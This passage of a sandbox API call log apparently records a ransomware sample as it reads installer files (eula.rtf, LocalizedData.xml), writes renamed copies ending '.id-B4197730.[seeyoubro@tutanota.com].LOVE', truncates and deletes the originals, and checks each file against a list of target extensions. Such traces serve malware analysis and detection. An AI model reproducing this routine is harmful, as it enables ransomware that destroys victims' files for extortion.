(lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.556] lstrlenW (lpString=".dbf") returned 4 [0196.556] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.556] lstrlenW (lpString=".1cd") returned 4 [0196.556] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.556] lstrlenW (lpString=".jpg") returned 4 [0196.556] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.557] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.557] lstrlenW (lpString="eula.rtf") returned 8 [0196.557] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0196.562] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=54456) returned 1 [0196.562] CloseHandle (hObject=0x2cc) returned 1 [0196.562] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0196.562] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0196.562] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.562] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.563] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.563] GetLastError () returned 0x0 [0196.563] ReadFile (in: hFile=0x2cc, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0196.712] WriteFile (in: hFile=0x304, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0196.714] ReadFile (in: hFile=0x2cc, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.714] WriteFile (in: hFile=0x304, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.714] SetEndOfFile (hFile=0x304) returned 1 [0196.714] CloseHandle (hObject=0x304) returned 1 [0196.717] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.717] SetEndOfFile (hFile=0x2cc) returned 1 [0196.719] CloseHandle (hObject=0x2cc) returned 1 [0196.719] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.719] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0196.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.719] lstrlenW (lpString=".doc") returned 4 [0196.719] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.720] lstrlenW (lpString=".docx") returned 5 [0196.720] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.720] lstrlenW (lpString=".pdf") returned 4 [0196.720] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.720] lstrlenW (lpString=".xls") returned 4 [0196.720] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.720] lstrlenW (lpString=".xlsx") returned 5 [0196.720] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.720] lstrlenW (lpString=".ppt") returned 4 [0196.720] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.720] lstrlenW (lpString=".zip") returned 4 [0196.720] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.720] lstrlenW (lpString=".rar") returned 4 [0196.720] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.720] lstrlenW (lpString=".bz2") returned 4 [0196.720] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.720] lstrlenW (lpString=".7z") returned 3 [0196.720] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.720] lstrlenW (lpString=".dbf") returned 4 [0196.720] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.720] lstrlenW (lpString=".1cd") returned 4 [0196.720] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.720] lstrlenW (lpString=".jpg") returned 4 [0196.720] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.721] lstrlenW (lpString=".doc") returned 4 [0196.721] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.721] lstrlenW (lpString=".docx") returned 5 [0196.721] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.721] lstrlenW (lpString=".pdf") returned 4 [0196.721] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.721] lstrlenW (lpString=".xls") returned 4 [0196.721] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.721] lstrlenW (lpString=".xlsx") returned 5 [0196.721] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.721] lstrlenW (lpString=".ppt") returned 4 [0196.721] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.721] lstrlenW (lpString=".zip") returned 4 [0196.721] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.721] lstrlenW (lpString=".rar") returned 4 [0196.721] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.721] lstrlenW (lpString=".bz2") returned 4 [0196.721] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.721] lstrlenW (lpString=".7z") returned 3 [0196.721] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.721] lstrlenW (lpString=".dbf") returned 4 [0196.721] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.721] lstrlenW (lpString=".1cd") returned 4 [0196.721] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0196.721] lstrlenW (lpString=".jpg") returned 4 [0196.721] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.722] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.722] lstrlenW (lpString="eula.rtf") returned 8 [0196.722] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.755] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=3865) returned 1 [0196.755] CloseHandle (hObject=0x304) returned 1 [0196.755] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0196.755] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.756] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.756] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.756] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0196.756] GetLastError () returned 0x0 [0196.756] ReadFile (in: hFile=0x304, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xf19, lpOverlapped=0x0) returned 1 [0196.773] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xf20, lpOverlapped=0x0) returned 1 [0196.774] ReadFile (in: hFile=0x304, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.774] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.774] SetEndOfFile (hFile=0x2e0) returned 1 [0196.775] CloseHandle (hObject=0x2e0) returned 1 [0196.775] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.776] SetEndOfFile (hFile=0x304) returned 1 [0196.776] CloseHandle (hObject=0x304) returned 1 [0196.776] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.777] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0196.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.777] lstrlenW (lpString=".doc") returned 4 [0196.777] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.777] lstrlenW (lpString=".docx") returned 5 [0196.777] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.777] lstrlenW (lpString=".pdf") returned 4 [0196.777] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.777] lstrlenW (lpString=".xls") returned 4 [0196.778] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.778] lstrlenW (lpString=".xlsx") returned 5 [0196.778] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.778] lstrlenW (lpString=".ppt") returned 4 [0196.778] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.778] lstrlenW (lpString=".zip") returned 4 [0196.778] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.778] lstrlenW (lpString=".rar") returned 4 [0196.778] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.778] lstrlenW (lpString=".bz2") returned 4 [0196.778] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.778] lstrlenW (lpString=".7z") returned 3 [0196.778] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.778] lstrlenW (lpString=".dbf") returned 4 [0196.778] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.778] lstrlenW (lpString=".1cd") returned 4 [0196.778] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.778] lstrlenW (lpString=".jpg") returned 4 [0196.778] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.778] lstrlenW (lpString=".doc") returned 4 [0196.778] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.778] lstrlenW (lpString=".docx") returned 5 [0196.778] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.778] lstrlenW (lpString=".pdf") returned 4 [0196.778] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.779] lstrlenW (lpString=".xls") returned 4 [0196.779] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.779] lstrlenW (lpString=".xlsx") returned 5 [0196.779] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.779] lstrlenW (lpString=".ppt") returned 4 [0196.779] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.779] lstrlenW (lpString=".zip") returned 4 [0196.779] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.779] lstrlenW (lpString=".rar") returned 4 [0196.779] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.779] lstrlenW (lpString=".bz2") returned 4 [0196.779] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.779] lstrlenW (lpString=".7z") returned 3 [0196.779] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.779] lstrlenW (lpString=".dbf") returned 4 [0196.779] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.779] lstrlenW (lpString=".1cd") returned 4 [0196.779] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0196.779] lstrlenW (lpString=".jpg") returned 4 [0196.779] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.779] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.779] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.780] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=77680) returned 1 [0196.780] CloseHandle (hObject=0x304) returned 1 [0196.838] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0196.838] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.838] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.838] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0196.839] GetLastError () returned 0x0 [0196.839] ReadFile (in: hFile=0x304, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x12f70, lpOverlapped=0x0) returned 1 [0196.874] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x12f80, lpOverlapped=0x0) returned 1 [0196.877] ReadFile (in: hFile=0x304, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.877] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.877] SetEndOfFile (hFile=0x2e0) returned 1 [0196.877] CloseHandle (hObject=0x2e0) returned 1 [0196.879] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.879] SetEndOfFile (hFile=0x304) returned 1 [0196.881] CloseHandle (hObject=0x304) returned 1 [0196.881] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.881] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0196.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.882] lstrlenW (lpString=".doc") returned 4 [0196.882] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.882] lstrlenW (lpString=".docx") returned 5 [0196.882] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.882] lstrlenW (lpString=".pdf") returned 4 [0196.882] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.882] lstrlenW (lpString=".xls") returned 4 [0196.882] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.882] lstrlenW (lpString=".xlsx") returned 5 [0196.882] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.882] lstrlenW (lpString=".ppt") returned 4 [0196.882] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.882] lstrlenW (lpString=".zip") returned 4 [0196.882] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.882] lstrlenW (lpString=".rar") returned 4 [0196.882] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.882] lstrlenW (lpString=".bz2") returned 4 [0196.882] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.882] lstrlenW (lpString=".7z") returned 3 [0196.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.882] lstrlenW (lpString=".dbf") returned 4 [0196.882] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.882] lstrlenW (lpString=".1cd") returned 4 [0196.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.882] lstrlenW (lpString=".jpg") returned 4 [0196.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.883] lstrlenW (lpString=".doc") returned 4 [0196.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.883] lstrlenW (lpString=".docx") returned 5 [0196.883] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.883] lstrlenW (lpString=".pdf") returned 4 [0196.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.883] lstrlenW (lpString=".xls") returned 4 [0196.883] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.883] lstrlenW (lpString=".xlsx") returned 5 [0196.883] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.883] lstrlenW (lpString=".ppt") returned 4 [0196.883] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.883] lstrlenW (lpString=".zip") returned 4 [0196.883] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.883] lstrlenW (lpString=".rar") returned 4 [0196.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.883] lstrlenW (lpString=".bz2") returned 4 [0196.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.883] lstrlenW (lpString=".7z") returned 3 [0196.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.883] lstrlenW (lpString=".dbf") returned 4 [0196.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.883] lstrlenW (lpString=".1cd") returned 4 [0196.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0196.883] lstrlenW (lpString=".jpg") returned 4 [0196.884] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.884] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.884] lstrlenW (lpString="eula.rtf") returned 8 [0196.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.884] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=3859) returned 1 [0196.884] CloseHandle (hObject=0x304) returned 1 [0196.884] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0196.884] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.884] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.885] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 